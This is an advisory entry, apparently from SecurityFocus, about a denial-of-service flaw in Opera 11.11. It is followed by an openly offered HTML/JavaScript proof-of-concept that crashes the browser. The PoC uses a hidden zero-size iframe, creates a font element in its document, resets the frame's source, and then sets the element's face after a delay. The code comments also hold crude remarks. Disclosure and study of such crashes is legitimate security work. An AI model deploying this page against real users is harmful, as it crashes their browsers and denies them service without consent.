source: http://www.securityfocus.com/bid/48262/info

The Opera Web Browser is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

Opera Web Browser 11.11 is vulnerable; other versions may also be affected. 

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   <iframe src=&#039;about:blank&#039; id=&#039;bo0om&#039; style="width:0px;height:0px;border:0px none;"></iframe>
   <script type="text/javascript"  language="javascript">
   
    /*
    *              
    * Opera 11.11 Remote  Crash
    * Software link: http://www.opera.com/download/
    * Tested on: Win32 xp home sp 3   
    * CVE : null
    *        
    * Im too lazy to deep analyze this ,but i thing is just unexploitable crash
    * so f****jixvt
    *      ( dla klechis�awa i jego kosiarki :i )
    *   
    */               
   
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      var b = a.contentDocument.createElement(&#039;font&#039;);
      a.src=&#039;about:blank&#039;;
      setTimeout(&#039;b.face = "h3h";&#039;,500);
       
   </script>
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